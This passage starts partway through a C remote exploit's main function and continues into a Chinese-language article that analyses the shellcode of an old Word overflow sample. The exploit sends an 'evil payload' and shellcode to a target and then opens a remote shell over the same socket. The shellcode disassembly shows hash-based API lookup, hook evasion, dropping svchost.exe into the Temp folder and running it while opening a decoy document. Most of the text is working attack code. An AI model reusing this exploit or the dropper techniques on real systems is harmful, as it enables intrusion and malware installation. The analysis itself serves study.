printf(”shellcode length is: %d n“,strlen((char *)sh_Buff));
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
fprintf(stderr, ”[-] WSAStartup failed.n“);
WSACleanup();
exit(1);
}
s = Make_Connection(argv[1], port, 10);
if(s<0)
{
fprintf(stderr, ”[-] connect err.n“);
exit(1);
}
//OS type
int p = 0;
if(argc > 3)
p = atoi(argv[3]);
Make_Payload(p);
//Send our evil Payload
printf(”[+]Sending our Evil Payload.n");
send(s, Payload, sizeof(Payload), 0);
Sleep(100);
// send real shellcode
send(s, magic_shellcode, Magic_Len, 0);
Sleep(1000);
// use same socket to get shell
shell(s);
WSACleanup();
return 1;
}
篇8:Word溢出Shellcode分析
前段时间从朋友处拿到一个Word的溢出样本,看了下,应该是很老的漏洞洞了,Office2003不开补丁有效,打了SP补丁就无效,本时我对这方面研究的不太多,就分析分析当学习,
这里不进溢出的原因、构造什么的,只分析它的Shellcode,它的Shellcode也是有两段的,重点功能在第二段上,里面用到了不少不错的想法,它有以下特点:
1。在Kernel32 模块中查找API用了HASH法,方便并可缩小shellcode体积。
2。里面有一段根据文件大小获得文件句柄的算法很巧妙。
3。Shellcode调用CreateFileA、Winexec时考虑了此函数可能被Hook,从函数开头第5字节开始执行。
07fe6000 55 push ebp
07fe6001 8bec mov ebp,esp
07fe6003 81ec60050000 sub esp,560h
07fe6009 8bf4 mov esi,esp
07fe600b e8d8020000 call 07fe62e8
07fe6010 8906 mov dword ptr [esi],eax //7c800000
07fe6012 895e04 mov dword ptr [esi+4],ebx
07fe6015 ff36 push dword ptr [esi]
07fe6017 68a517007c push 7C0017A5h
07fe601c e8fa020000 call 07fe631b
07fe6021 894608 mov dword ptr [esi+8],eax//CreateFileA
07fe6024 ff36 push dword ptr [esi]
07fe6026 681f790ae8 push 0E80A791Fh
07fe602b e8eb020000 call 07fe631b
07fe6030 89460c mov dword ptr [esi+0Ch],eax//WriteFile
07fe6033 ff36 push dword ptr [esi]
07fe6035 68fb97fd0f push 0FFD97FBh
07fe603a e8dc020000 call 07fe631b
07fe603f 894610 mov dword ptr [esi+10h],eax//CloseHandle
07fe6042 ff36 push dword ptr [esi]
07fe6044 6898fe8a0e push 0E8AFE98h
07fe6049 e8cd020000 call 07fe631b
07fe604e 894614 mov dword ptr [esi+14h],eax//WinExec
07fe6051 ff36 push dword ptr [esi]
07fe6053 683b4743dd push 0DD43473Bh
07fe6058 e8be020000 call 07fe631b
07fe605d 89462c mov dword ptr [esi+2Ch],eax//lstrlenA
07fe6060 ff36 push dword ptr [esi]
07fe6062 68fb499bcb push 0CB9B49FBh
07fe6067 e8af020000 call 07fe631b
07fe606c 894630 mov dword ptr [esi+30h],eax//lstrcpyA
07fe606f ff36 push dword ptr [esi]
07fe6071 683b4673cb push 0CB73463Bh
07fe6076 e8a0020000 call 07fe631b
07fe607b 894634 mov dword ptr [esi+34h],eax//lstrcatA
07fe607e ff36 push dword ptr [esi]
07fe6080 6883b9b578 push 78B5B983h
07fe6085 e891020000 call 07fe631b
07fe608a 894624 mov dword ptr [esi+24h],eax//TerminateProcess
07fe608d ff36 push dword ptr [esi]
07fe608f 6833ca8a5b push 5B8ACA33h
07fe6094 e882020000 call 07fe631b
07fe6099 894628 mov dword ptr [esi+28h],eax//GetTempPathA
07fe609c ff36 push dword ptr [esi]
07fe609e 68f94a63c1 push 0C1634AF9h
07fe60a3 e873020000 call 07fe631b
07fe60a8 894638 mov dword ptr [esi+38h],eax//WideCharToMultiByte
07fe60ab 837e0400 cmp dword ptr [esi+4],0
07fe60af 0f842b020000 je 07fe62e0
07fe60b5 ff7604 push dword ptr [esi+4]
07fe60b8 68929cd34f push 4FD39C92h
07fe60bd e859020000 call 07fe631b
07fe60c2 894640 mov dword ptr [esi+40h],eax//ZwQueryVirtualMemory
07fe60c5 54 push esp
07fe60c6 6808020000 push 208h
07fe60cb 8d464c lea eax,[esi+4Ch]
07fe60ce 50 push eax
07fe60cf 6a02 push 2
07fe60d1 ff37 push dword ptr [edi]
07fe60d3 6aff push 0FFFFFFFFh
07fe60d5 ff5640 call dword ptr [esi+40h]//ZwQueryVirtualMemory
07fe60d8 8bc4 mov eax,esp
07fe60da 6a00 push 0
07fe60dc 6a00 push 0
07fe60de 68ff000000 push 0FFh
07fe60e3 8d9e5c040000 lea ebx,[esi+45Ch]
07fe60e9 53 push ebx
07fe60ea 68f0010000 push 1F0h
07fe60ef 8d464c lea eax,[esi+4Ch]
07fe60f2 83c008 add eax,8
07fe60f5 50 push eax
07fe60f6 6a00 push 0
07fe60f8 6a00 push 0
07fe60fa ff5638 call dword ptr [esi+38h]//WideCharToMultiByte
07fe60fd 8d9e58030000 lea ebx,[esi+358h]
07fe6103 53 push ebx
07fe6104 68ff000000 push 0FFh
07fe6109 ff5628 call dword ptr [esi+28h]//GetTempPathA
07fe610c 8d9658030000 lea edx,[esi+358h]
07fe6112 52 push edx
07fe6113 8d9654020000 lea edx,[esi+254h]
07fe6119 52 push edx
07fe611a ff5630 call dword ptr [esi+30h]//lstrcpyA
07fe611d 8d965c040000 lea edx,[esi+45Ch]
07fe6123 52 push edx
07fe6124 ff562c call dword ptr [esi+2Ch]//lstrlenA
07fe6127 8bc8 mov ecx,eax
07fe6129 49 dec ecx
07fe612a 803c0a5c cmp byte ptr [edx+ecx],5Ch
07fe612e 75f9 jne 07fe6129
07fe6130 41 inc ecx
07fe6131 03d1 add edx,ecx
07fe6133 52 push edx
07fe6134 8d9654020000 lea edx,[esi+254h]
07fe613a 52 push edx
07fe613b ff5634 call dword ptr [esi+34h]//lstrcatA
07fe613e 8d9658030000 lea edx,[esi+358h]
07fe6144 52 push edx
07fe6145 8d564c lea edx,[esi+4Ch]
07fe6148 52 push edx
07fe6149 ff5630 call dword ptr [esi+30h]//lstrcpyA
07fe614c ff7704 push dword ptr [edi+4]//svchost.exe
07fe614f 8d9658030000 lea edx,[esi+358h]
07fe6155 52 push edx
07fe6156 ff5634 call dword ptr [esi+34h]//lstrcatA
07fe6159 8b5704 mov edx,dword ptr [edi+4]//svchost.exe
07fe615c 8b4718 mov eax,dword ptr [edi+18h]//strlen(svchost.exe)=b
07fe615f c6040200 mov byte ptr [edx+eax],0
07fe6163 ff7704 push dword ptr [edi+4]//svchost.exe
07fe6166 8d564c lea edx,[esi+4Ch]
07fe6169 52 push edx
07fe616a ff5634 call dword ptr [esi+34h]//lstrcatA
07fe616d 8d464c lea eax,[esi+4Ch]
07fe6170 e824010000 call 07fe6299 //调用自己处理过的CreateFileA
07fe6175 894648 mov dword ptr [esi+48h],eax
07fe6178 8b5708 mov edx,dword ptr [edi+8] --PE
07fe617b 8a02 mov al,byte ptr [edx] --文件内容头两字节有交换
07fe617d 8a6201 mov ah,byte ptr [edx+1]
07fe6180 8822 mov byte ptr [edx],ah
07fe6182 884201 mov byte ptr [edx+1],al
07fe6185 54 push esp
07fe6186 8d0424 lea eax,[esp]
07fe6189 6a00 push 0
07fe618b 50 push eax
07fe618c ff770c push dword ptr [edi+0Ch] //0000524c文件大小
07fe618f 52 push edx //07fe637e
07fe6190 ff7648 push dword ptr [esi+48h]
07fe6193 ff560c call dword ptr [esi+0Ch] //Write DOCUME~1LANGOU~1LOCALS~1Tempsvchost.exe
07fe6196 5b pop ebx
07fe6197 8d8654020000 lea eax,[esi+254h]
07fe619d e8f7000000 call 07fe6299 //调用自己处理过的CreateFileA
07fe61a2 894644 mov dword ptr [esi+44h],eax
07fe61a5 8b5710 mov edx,dword ptr [edi+10h]//这里指向真正的word开头,开头被移位加密
07fe61a8 668b02 mov ax,word ptr [edx]
07fe61ab 66c1c008 rol ax,8
07fe61af 668902 mov word ptr [edx],ax
07fe61b2 668b4202 mov ax,word ptr [edx+2]
07fe61b6 66c1c008 rol ax,8
07fe61ba 66894202 mov word ptr [edx+2],ax
07fe61be 54 push esp
07fe61bf 8d0424 lea eax,[esp]
07fe61c2 6a00 push 0
07fe61c4 50 push eax
07fe61c5 ff7714 push dword ptr [edi+14h]
07fe61c8 ff7710 push dword ptr [edi+10h]
07fe61cb ff7644 push dword ptr [esi+44h]
07fe61ce ff560c call dword ptr [esi+0Ch]//WriteFile 写入真正的word
07fe61d1 5b pop ebx
07fe61d2 ff7648 push dword ptr [esi+48h]
07fe61d5 ff5610 call dword ptr [esi+10h]//CloseHandle
07fe61d8 ff7644 push dword ptr [esi+44h]
07fe61db ff5610 call dword ptr [esi+10h]//CloseHandle
07fe61de 8d9e54020000 lea ebx,[esi+254h]
07fe61e4 53 push ebx
07fe61e5 ff562c call dword ptr [esi+2Ch]//lstrlenA
07fe61e8 c6040322 mov byte ptr [ebx+eax],22h
07fe61ec c644030100 mov byte ptr [ebx+eax+1],0
07fe61f1 83eb24 sub ebx,24h
07fe61f4 3ec743202f712022 mov dword ptr ds:[ebx+20h],2220712Fh
07fe61fc 3ec7431c202f7720 mov dword ptr ds:[ebx+1Ch],20772F20h
07fe6204 3ec743182e657865 mov dword ptr ds:[ebx+18h],6578652Eh
07fe620c 3ec74314776f7264 mov dword ptr ds:[ebx+14h],64726F77h
07fe6214 3ec743102077696e mov dword ptr ds:[ebx+10h],6E697720h
07fe621c 3ec7430c74617274 mov dword ptr ds:[ebx+0Ch],74726174h
07fe6224 3ec743082f632073 mov dword ptr ds:[ebx+8],7320632Fh
07fe622c 3ec7430465786520 mov dword ptr ds:[ebx+4],20657865h
07fe6234 3ec703636d642e mov dword ptr ds:[ebx],2E646D63h
07fe623b e885000000 call 07fe62c5//调用自己处理过防Hook的Winexec
07fe6240 8d9e58030000 lea ebx,[esi+358h]
07fe6246 e87a000000 call 07fe62c5//调用自己处理过防Hook的Winexec
07fe624b b960000000 mov ecx,60h
07fe6250 2be1 sub esp,ecx
07fe6252 8bd7 mov edx,edi
07fe6254 8bde mov ebx,esi
07fe6256 54 push esp
07fe6257 5f pop edi
07fe6258 e80a000000 call 07fe6267 //得到Shellcode的位置
07fe625d 8bf0 mov esi,eax
07fe625f f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
07fe6261 8bfa mov edi,edx
07fe6263 8bf3 mov esi,ebx
07fe6265 eb18 jmp 07fe627f//运行真实的Word后自身退出
07fe6267 e800000000 call 07fe626c //得到Shellcode的位置
07fe626c 58 pop eax
07fe626d 83c005 add eax,5
07fe6270 c3 ret
07fe6271 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
07fe6273 33c0 xor eax,eax
07fe6275 8bcb mov ecx,ebx
07fe6277 f3aa rep stos byte ptr es:[edi]
07fe6279 6a00 push 0
07fe627b 6aff push 0FFFFFFFFh
07fe627d ffd5 call ebp
07fe627f 8b4f14 mov ecx,dword ptr [edi+14h]
07fe6282 8b07 mov eax,dword ptr [edi]
07fe6284 8bd0 mov edx,eax
07fe6286 03d1 add edx,ecx
07fe6288 8b5f10 mov ebx,dword ptr [edi+10h]
07fe628b 03d9 add ebx,ecx
07fe628d 2bda sub ebx,edx
07fe628f 8b6e24 mov ebp,dword ptr [esi+24h]//TerminateProcess
07fe6292 8b7710 mov esi,dword ptr [edi+10h]
07fe6295 8b3f mov edi,dword ptr [edi]
07fe6297 ffe4 jmp esp
07fe6299 59 pop ecx //自己处理过防Hook的CreateFileA
07fe629a 6a00 push 0
07fe629c 6880000000 push 80h
07fe62a1 6a04 push 4
07fe62a3 6a00 push 0
07fe62a5 6a01 push 1
07fe62a7 68000000c0 push 0C0000000h
07fe62ac 50 push eax
07fe62ad 8b5608 mov edx,dword ptr [esi+8]//CreateFileA
07fe62b0 83c205 add edx,5
07fe62b3 803a08 cmp byte ptr [edx],8
07fe62b6 51 push ecx
07fe62b7 55 push ebp
07fe62b8 8bec mov ebp,esp
07fe62ba 7402 je 07fe62be
07fe62bc ffe2 jmp edx
07fe62be 36ff7508 push dword ptr ss:[ebp+8]
07fe62c2 42 inc edx
07fe62c3 ffe2 jmp edx
07fe62c5 59 pop ecx//自己处理过防Hook的Winexec
07fe62c6 6a00 push 0
07fe62c8 53 push ebx
07fe62c9 8b5614 mov edx,dword ptr [esi+14h]//WinExec
07fe62cc 83c205 add edx,5
07fe62cf 51 push ecx
07fe62d0 55 push ebp
07fe62d1 8bec mov ebp,esp
07fe62d3 803a54 cmp byte ptr [edx],54h
07fe62d6 7402 je 07fe62da
07fe62d8 ffe2 jmp edx
07fe62da 83ec54 sub esp,54h
07fe62dd 42 inc edx
07fe62de ffe2 jmp edx
07fe62e0 6a00 push 0
07fe62e2 6aff push 0FFFFFFFFh
07fe62e4 ff5624 call dword ptr [esi+24h]//TerminateProcess
07fe62e7 c3 ret
07fe62e8 55 push ebp
07fe62e9 56 push esi
07fe62ea 64a130000000 mov eax,dword ptr fs:[00000030h]
07fe62f0 85c0 test eax,eax
07fe62f2 7813 js 07fe6307
07fe62f4 3e8b400c mov eax,dword ptr ds:[eax+0Ch]
07fe62f8 3e8b701c mov esi,dword ptr ds:[eax+1Ch]
07fe62fc 3e8b5e08 mov ebx,dword ptr ds:[esi+8]//CreateFileA
07fe6300 ad lods dword ptr [esi]
07fe6301 3e8b6808 mov ebp,dword ptr ds:[eax+8]
07fe6305 eb0d jmp 07fe6314
07fe6307 3e8b4034 mov eax,dword ptr ds:[eax+34h]
07fe630b 3e8ba8b8000000 mov ebp,dword ptr ds:[eax+0B8h]
07fe6312 33db xor ebx,ebx
07fe6314 8bc5 mov eax,ebp
07fe6316 5e pop esi
07fe6317 5d pop ebp
07fe6318 c20400 ret 4
07fe631b 53 push ebx
07fe631c 55 push ebp
07fe631d 56 push esi
07fe631e 57 push edi
07fe631f 368b6c2418 mov ebp,dword ptr ss:[esp+18h]
07fe6324 368b453c mov eax,dword ptr ss:[ebp+3Ch]
07fe6328 368b540578 mov edx,dword ptr ss:[ebp+eax+78h]
07fe632d 03d5 add edx,ebp
07fe632f 3e8b4a18 mov ecx,dword ptr ds:[edx+18h]
07fe6333 3e8b5a20 mov ebx,dword ptr ds:[edx+20h]
07fe6337 03dd add ebx,ebp
07fe6339 e338 jecxz 07fe6373
07fe633b 49 dec ecx
07fe633c 3e8b348b mov esi,dword ptr ds:[ebx+ecx*4]
07fe6340 03f5 add esi,ebp
07fe6342 33ff xor edi,edi
07fe6344 fc cld
07fe6345 33c0 xor eax,eax
07fe6347 ac lods byte ptr [esi]
07fe6348 3ac4 cmp al,ah
07fe634a 7407 je 07fe6353
07fe634c c1cf0d ror edi,0Dh
07fe634f 03f8 add edi,eax
07fe6351 ebf2 jmp 07fe6345
07fe6353 363b7c2414 cmp edi,dword ptr ss:[esp+14h]
07fe6358 75df jne 07fe6339
07fe635a 3e8b5a24 mov ebx,dword ptr ds:[edx+24h]
07fe635e 03dd add ebx,ebp
07fe6360 663e8b0c4b mov cx,word ptr ds:[ebx+ecx*2]
07fe6365 3e8b5a1c mov ebx,dword ptr ds:[edx+1Ch]
07fe6369 03dd add ebx,ebp
07fe636b 3e8b048b mov eax,dword ptr ds:[ebx+ecx*4]
07fe636f 03c5 add eax,ebp
07fe6371 eb02 jmp 07fe6375
07fe6373 33c0 xor eax,eax
07fe6375 8bd5 mov edx,ebp
07fe6377 5f pop edi
07fe6378 5e pop esi
07fe6379 5d pop ebp
07fe637a 5b pop ebx
07fe637b c20800 ret 8






